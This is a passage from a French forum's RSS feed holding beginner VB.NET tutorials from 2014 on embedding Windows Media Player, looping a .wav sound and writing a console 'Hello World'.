AxWindowsMediaPlayer1.URL = TextBox1.Text&lt;/pre&gt;
&lt;p&gt;-Pour mettre en pleine écran (ne pas mettre en load, ne onctionne que si la vidéo/musique et en lecture):&lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
AxWindowsMediaPlayer1.fullScreen = True&lt;/pre&gt;&lt;p&gt;Bonne programmation à tous!&lt;br/&gt;
Cordialement,&lt;br/&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/116/ajouter-loutil-windows-media-player-ou-autre-d</link><guid isPermaLink="true">https://melinyel.net/topic/116/ajouter-loutil-windows-media-player-ou-autre-d</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 20:58:41 GMT</pubDate></item><item><title><![CDATA[Jouer un Son en boucle ou pas ...*-*]]></title><description><![CDATA[&lt;p&gt;Bonjour,&lt;br/&gt;
Je vais vous expliquez comment jouer un son/musique.&lt;br/&gt;
 &lt;br/&gt;
Site pour convertir le fichier conseillé:&lt;br/&gt;&lt;a href="http://www.online-convert.com/" rel="external nofollow"&gt;Online converter&lt;/a&gt;&lt;br/&gt;
 &lt;br/&gt;
Fichier KDO:&lt;br/&gt;&lt;a href="http://download375.mediafire.com/wtfhu5jvuwlg/59e559cn6rc489b/Music+du+login+wotlk.rar" rel="external nofollow"&gt;La music du login de WOTLK.wav&lt;/a&gt;&lt;br/&gt;&lt;a href="http://www.virustotal.com/url-scan/report.html?id=3e0f86d559dad4eb0f085449e077a1d0-1295288017#" rel="external nofollow"&gt;Contrôle-VirusTotal&lt;/a&gt;&lt;br/&gt;
 &lt;br/&gt;
1.Il vous faut un fichier ".wav" (Sons), petite astuce de passage pour faire des enregistrement sur windows (xp) avec un micro: allez dans le Menu de démarrage, cliquez sur "exécuter" puis dans la petite fenêtre qui c'est ouvert écrivez "SNDREC32" dans la textbox et cliquez sur "ok", et magie un fenêtre s'ouvre et il suffit de cliquer sur le bouton avec la boule rouge dessus pour enregistrer.^^&lt;br/&gt;
 &lt;br/&gt;
2.Ouvrez Visual Basic, puis votre projet aller dans ses propriétés, puis dans l'onglet "Ressources" ajouter votre ressource ".wav" (Sons).&lt;br/&gt;
 &lt;br/&gt;
3.retournez votre form faites un doule-click dessus pour afficher le code.&lt;br/&gt;
 &lt;br/&gt;
4.Mettez le code suivant:&lt;br/&gt;
 &lt;br/&gt;
 &lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
My.Computer.Audio.Play(My.Resources.OFFICIAL_WOTLK_LOGIN_SCREEN_MUSIC, _
        AudioPlayMode.]BackgroundLoop)&lt;/pre&gt;
&lt;p&gt;et voilà vous faites du bruit !&lt;br/&gt;
 &lt;br/&gt;
Ps: code pour arrêter la lecture:&lt;br/&gt;
 &lt;/p&gt;
&lt;pre class="ipsCode prettyprint lang-auto"&gt;
My.Computer.Audio.Stop&lt;/pre&gt;
&lt;p&gt; &lt;br/&gt;
Bonne programmation a tous!&lt;br/&gt;
Cordialement,&lt;br/&gt;
Mars073&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/114/jouer-un-son-en-boucle-ou-pas</link><guid isPermaLink="true">https://melinyel.net/topic/114/jouer-un-son-en-boucle-ou-pas</guid><dc:creator><![CDATA[mars073]]></dc:creator><pubDate>Thu, 13 Mar 2014 20:56:25 GMT</pubDate></item><item><title><![CDATA[[Débutant] Les premiers pas]]></title><description><![CDATA[&lt;p style="text-align:center;"&gt;Salut à tous, dans ce "tutoriel", je vais essayer de vous expliquez comment coder et pourquoi coder en vb.net.&lt;/p&gt;
&lt;p style="text-align:center;"&gt; &lt;/p&gt;
&lt;p style="text-align:center;"&gt;Tout d'abord, il vous faut Microsoft Visual Basic (Ou Visual Studio).&lt;/p&gt;
&lt;p style="text-align:center;"&gt;Vous le trouverez sur internet, pour ma part, j'utilise Visual Studio 2013 Ultimate.&lt;/p&gt;
&lt;p style="text-align:center;"&gt; &lt;/p&gt;
&lt;p style="text-align:center;"&gt;On va commencer par créer un projet, et on va faire le traditionnel "Hello World".&lt;/p&gt;
&lt;p style="text-align:center;"&gt; &lt;/p&gt;
&lt;p style="text-align:center;"&gt;Lancez Visual Studio, cliquez sur Nouveau Projet puis Application Console.&lt;/p&gt;
&lt;p style="text-align:center;"&gt; &lt;/p&gt;
&lt;p style="text-align:center;"&gt;Vous commencez avec ça comme code :&lt;/p&gt;
&lt;pre class="ipsCode prettyprint"&gt;
Module Module1
Sub Main()

End Sub

End Module
&lt;/pre&gt;
&lt;p style="text-align:center;"&gt;Pour afficher notre Hello World, on va donc devoir écrire "Console.WriteLine("Hello World").&lt;/p&gt;
&lt;pre class="ipsCode prettyprint"&gt;
Module Module1
Sub Main()
    Console.WriteLine("Hello World")
End Sub

End Module
&lt;/pre&gt;
&lt;p style="text-align:center;"&gt;On appuie sur F5 (ou sur le bouton ► Démarrer).&lt;/p&gt;
&lt;p style="text-align:center;"&gt;Cependant, vous voyez une console s'afficher et direct elle se ferme.&lt;/p&gt;
&lt;p style="text-align:center;"&gt;Pour y remedier, rajouter "Console.ReadLine", qui signiffie que la console va attendre que vous ecrivez .quelque choses et appuyer sur "Entrée" pour continuer l'éxécution du code.&lt;/p&gt;
&lt;p style="text-align:center;"&gt; &lt;/p&gt;
&lt;p style="text-align:center;"&gt;Voila, on peu voir la console afficher "Hello World" et rester fixe jusqu'à que vous appuyez sur "Entrée".&lt;/p&gt;
&lt;p style="text-align:center;"&gt;Voila, c'est un début de projet, il ne vous resteras plus cas suivre des tutoriels pour en apprendre plus.&lt;/p&gt;
&lt;p style="text-align:center;"&gt; &lt;/p&gt;
&lt;p style="text-align:center;"&gt;Je sais que c'est un peu cour pour l'introduction, j'essayerais de la refaire en plus "élaboré".&lt;/p&gt;
]]></description><link>https://melinyel.net/topic/19/débutant-les-premiers-pas</link><guid isPermaLink="true">https://melinyel.net/topic/19/débutant-les-premiers-pas</guid><dc:creator><![CDATA[Brokeos]]></dc:creator><pubDate>Sat, 08 Mar 2014 16:28:37 GMT</pubDate></item></channel></rss>